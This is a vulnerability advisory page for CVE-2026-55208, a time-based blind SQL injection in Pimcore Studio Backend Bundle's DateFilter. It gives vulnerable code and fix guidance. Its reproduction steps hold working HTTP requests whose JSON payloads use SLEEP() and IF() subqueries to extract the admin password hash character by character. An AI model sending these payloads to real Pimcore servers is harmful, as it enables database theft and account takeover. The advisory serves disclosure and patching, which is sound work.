CVE-2026-55208: Pimcore: SQL Injection via Column Name in DateFilter allows authenticated user to extract arbitrary database data including admin password hashes

Published Jul 9, 2026
·
Updated

Summary

An authenticated user extracts the admin password hash and any other database content through a time-based blind SQL injection in the DateFilter column key parameter. The POST /pimcore-studio/api/website-settings endpoint (and 11 other listing endpoints) accepts a columnFilters array where the key field is interpolated directly into SQL with only manual backtick wrapping. The DateFilter uses fixed named parameters (:minTime, :maxTime), so the injected column name is not subject to PDO named parameter validation. An attacker breaks out of the backtick quoting with a backtick character and appends arbitrary SQL, including SLEEP() for time-based extraction and IF() subqueries for conditional data exfiltration.

Vulnerability Details

Exploitable: DateFilter with Fixed Named Parameters

src/Listing/Filter/DateFilter.php lines 49-57 handle the on operator. The column key comes from user input and is placed in the SQL with manual backtick wrapping, while the named parameters are hardcoded as :minTime and :maxTime:

php $key = $column->getKey(); // user-controlled, no validation $dateCondition = '' . $key . ' ' . ' BETWEEN :minTime AND :maxTime'; $listing->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => ...]);

Because the named parameters are fixed strings, PDO accepts the binding regardless of what the column name contains.

Same Pattern in Note FilterService

src/Note/Service/FilterService.php lines 64-67:

php $dateCondition = '' . $filter[$propertyKey] . ' ' . ' BETWEEN :minTime AND :maxTime'; $list->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => $maxTime]);

No Validation on Column Key

src/MappedParameter/Filter/ColumnFilter.php accepts any string as the key with zero validation or allowlisting.

Why Backtick Wrapping is Not Escaping

Manual backtick wrapping ( '' . $key . '' ) does not escape internal backtick characters. quoteIdentifier() doubles them, manual wrapping does not. A backtick in the key breaks out of the quoting and the -- (double dash space) comments out the remainder of the query:

Input: key = "id BETWEEN 0 AND 99999999999) AND SLEEP(3)-- "

Produces: sql (id BETWEEN 0 AND 99999999999) AND SLEEP(3)-- BETWEEN :minTime AND :maxTime)

Everything after -- is a SQL comment. The injected SLEEP(3) executes unconditionally.

Contrast with Safe Patterns in the Same Codebase

- LogRepository.php line 202: uses $this->dbResolver->get()->quoteIdentifier() (safe) - ClassificationStore/Configuration/KeyRepository.php: uses ALLOWEDSORTKEYS allowlist (safe)

Note on EqualsFilter/LikeFilter

The EqualsFilter and LikeFilter have the same manual backtick wrapping, but they reuse the column name as the PDO named parameter (:columnName). PDO requires named parameters to match [a-zA-Z0-9], so injection characters cause a parameter binding error before SQL execution. These filters are not exploitable through this vector. The DateFilter is exploitable because it uses independent fixed parameter names.

Steps to Reproduce

Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4, MariaDB 10.11.

Step 1: Baseline request (no injection)

http POST /pimcore-studio/api/website-settings HTTP/1.1 Host: localhost:8095 Content-Type: application/json Cookie: PHPSESSID=<AUTHENTICATEDSESSION>

{"page":1,"pageSize":10}

Response: HTTP/1.1 200 OK -- totalItems: 1 -- 0.07 seconds

<img width="1666" height="616" alt="image" src="https://github.com/user-attachments/assets/93dfbb22-3915-4abb-b569-13c9f3cea368" />

Step 2: Unconditional SLEEP(3) injection

http POST /pimcore-studio/api/website-settings HTTP/1.1 Host: localhost:8095 Content-Type: application/json Cookie: PHPSESSID=<AUTHENTICATEDSESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- totalItems: 0 -- 6.07 seconds

<img width="1631" height="898" alt="image" src="https://github.com/user-attachments/assets/97d04b04-4fb2-4fd4-95b8-e50d0521de97" />

<img width="1920" height="625" alt="image" src="https://github.com/user-attachments/assets/6000a604-b189-4f99-8648-d8ec36a59094" />

The 6-second delay (3s x 2 queries: SELECT + COUNT) confirms SQL injection. The MySQL general log shows the injected SQL executed:

sql SELECT id FROM websitesettings WHERE (id BETWEEN 0 AND 99999999999) AND SLEEP(3)-- BETWEEN :minTime AND :maxTime) ORDER BY id ASC LIMIT 50

Step 3: Conditional SLEEP proving data extraction (TRUE case)

This query tests whether the admin password hash starts with $2y$ (bcrypt, hex 0x24327924). If true, the server sleeps 3 seconds. If false, no delay.

http POST /pimcore-studio/api/website-settings HTTP/1.1 Host: localhost:8095 Content-Type: application/json Cookie: PHPSESSID=<AUTHENTICATEDSESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x24327924,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- 6.07 seconds (TRUE: admin password hash starts with $2y$)

<img width="1611" height="706" alt="image" src="https://github.com/user-attachments/assets/b9f12ca4-3459-4ed6-8a08-c64f99f28d85" />

<img width="1917" height="570" alt="image" src="https://github.com/user-attachments/assets/1c5eca3d-f66b-4630-bea9-69c93ffa1a6f" />

Step 4: Conditional SLEEP (FALSE case, wrong guess)

Same query but testing for XXXX (hex 0x58585858) instead:

http POST /pimcore-studio/api/website-settings HTTP/1.1 Host: localhost:8095 Content-Type: application/json Cookie: PHPSESSID=<AUTHENTICATEDSESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x58585858,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- 0.07 seconds (FALSE: password does not start with XXXX)

<img width="1920" height="496" alt="image" src="https://github.com/user-attachments/assets/7a27f666-a6e4-4c65-94b4-f0d22ba1db7f" />

Timing comparison

| Request | Payload | Response Time | Meaning | |---------|---------|---------------|---------| | Baseline | No injection | 0.07s | Normal | | Unconditional SLEEP | AND SLEEP(3) | 6.07s | Injection confirmed | | Conditional TRUE | IF(password starts with $2y$, SLEEP(3), 0) | 6.07s | Data extracted: hash is bcrypt | | Conditional FALSE | IF(password starts with XXXX, SLEEP(3), 0) | 0.07s | Control: no match, no delay |

By iterating through characters with SUBSTRING(password, N, 1), an attacker extracts the full bcrypt hash for offline cracking, or extracts passwordRecoveryToken values for direct account takeover without cracking.

Impact

An authenticated user with websitesettings permission (or any permission granting access to a listing endpoint with DateFilter support) extracts the full contents of any database table one character at a time through conditional time-based blind SQL injection.

Directly extractable high-value data: - Admin password hashes (users.password) for offline cracking - Password recovery tokens (users.passwordRecoveryToken) for direct account takeover via POST /login/token - Session data for session hijacking - All PIM product data, CMS content, and asset metadata

Affected Endpoints

All endpoints using ListingFilter::applyFilters() with a DateFilter on column filter:

- POST /pimcore-studio/api/website-settings - POST /pimcore-studio/api/notifications - POST /pimcore-studio/api/recycle-bin - POST /pimcore-studio/api/redirects - POST /pimcore-studio/api/translations/{domain} - POST /pimcore-studio/api/quantity-value/units - POST /pimcore-studio/api/properties - POST /pimcore-studio/api/classification-store/{storeId}/keys - POST /pimcore-studio/api/classification-store/{storeId}/groups - POST /pimcore-studio/api/classification-store/{storeId}/collections - GET /pimcore-studio/api/notes/{elementType}/{id} (via Note FilterService fieldFilters)

Recommended Fix

Replace manual backtick wrapping with Doctrine\DBAL\Connection::quoteIdentifier(), or implement a per-listing allowlist of valid column names:

php // Option 1: quoteIdentifier (doubles internal backticks) $db = \Pimcore\Db::get(); $dateCondition = $db->quoteIdentifier($key) . ' BETWEEN :minTime AND :maxTime';

// Option 2: allowlist (preferred) private const ALLOWEDCOLUMNS = ['id', 'name', 'date', 'type', 'creationDate', 'modificationDate']; if (!inarray($key, self::ALLOWEDCOLUMNS, true)) { throw new InvalidArgumentException('Invalid filter column'); }

Apply the same fix to EqualsFilter, LikeFilter, and Note/FilterService as defense-in-depth, even though those are currently protected by PDO named parameter validation.

Supporting Materials

- Live-tested on Pimcore 12.x (2026.x branch, commit 82f9ff6), Docker, PHP 8.4, MariaDB 10.11 - MySQL general query log confirms injected SQL reaches the database - The safe pattern (quoteIdentifier()) exists in the same codebase in LogRepository.php line 202 - Package: pimcore/studio-backend-bundle

Other sources

Pimcore Studio Backend Bundle is the backend bundle for Pimcore Studio. Prior to 2025.4.6 and 2026.1.6, an authenticated user can extract the admin password hash and other database content through time-based blind SQL injection in the DateFilter column key parameter. The POST /pimcore-studio/api/website-settings endpoint and other listing endpoints accept a columnFilters array where the key field is interpolated directly into SQL with manual backtick wrapping, allowing a backtick character to break out of quoting and append arbitrary SQL such as SLEEP() and IF() subqueries. This issue is fixed in versions 2025.4.6 and 2026.1.6.

— NVD

Affected Software

4 affected componentsFixes available
Pimcore Pimcore Studio Backend Bundle>2025.4.6<2026.1.6
Pimcore Pimcore Studio Backend Bundle<=2025.4.5, <=2026.1.5
composer/pimcore/studio-backend-bundle>=2026.1.0<2026.1.6
2026.1.6
composer/pimcore/studio-backend-bundle<2025.4.6
2025.4.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/pimcore/studio-backend-bundle to a version that resolves this vulnerability.

    Fixed in 2026.1.6
  2. Upgrade

    Upgrade composer/pimcore/studio-backend-bundle to a version that resolves this vulnerability.

    Fixed in 2025.4.6
  3. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 2025.4.6
  4. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 2026.1.6
  5. Configuration

    In Pimcore, replace the manual backtick wrapping around the DateFilter column key with Doctrine\DBAL\Connection::quoteIdentifier(), or implement a per-listing allowlist of valid column names before interpolating the key into SQL.

    Pimcore ListingFilter::applyFilters DateFilter Replace manual backtick wrapping of user-controlled column key with Doctrine DBAL Connection::quoteIdentifier() or a per-listing allowlist of valid column names = Use Doctrine\DBAL\Connection::quoteIdentifier() (preferred) or per-listing allowlist; do not manually wrap with backticks
  6. Configuration

    Apply the same fix used for DateFilter to EqualsFilter and LikeFilter (replace manual backtick wrapping of the user-controlled column key with Doctrine\DBAL\Connection::quoteIdentifier() or a per-listing allowlist of valid column names) as defense-in-depth.

    Pimcore ListingFilter::applyFilters EqualsFilter and LikeFilter Column key handling (manual backtick wrapping) = Harden to match DateFilter fix (quoteIdentifier() or column allowlist) even if currently protected by PDO named parameter validation
  7. Configuration

    Apply the same DateFilter mitigation to Note/FilterService fieldFilters (replace the vulnerable column-key interpolation approach with the DateFilter fix/allowlisting so the key cannot break out of identifier quoting).

    Pimcore Note FilterService FieldFilters column key handling = Harden to match DateFilter fix (allowlist)

Event History

Jul 9, 2026
CVE Published
via MITRE·08:57 PM
Data Sourced
via MITRE·08:57 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:16 PM
DescriptionSeverityWeakness
Aug 28, 2026
Advisory Published
via GitHub·07:04 PM
Data Sourced
via GitHub·07:04 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-55208?

The severity of CVE-2026-55208 is rated high with a CVSS score of 7.7.

2

How do I fix CVE-2026-55208?

To fix CVE-2026-55208, update to Pimcore version 2025.4.6 or 2026.1.6 or later.

3

What type of vulnerability is CVE-2026-55208?

CVE-2026-55208 is classified as an SQL Injection vulnerability.

4

Who is affected by CVE-2026-55208?

CVE-2026-55208 affects authenticated users of the Pimcore Studio Backend Bundle prior to specified versions.

5

What can attackers do with CVE-2026-55208?

Attackers can exploit CVE-2026-55208 to extract arbitrary database data, including admin password hashes.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203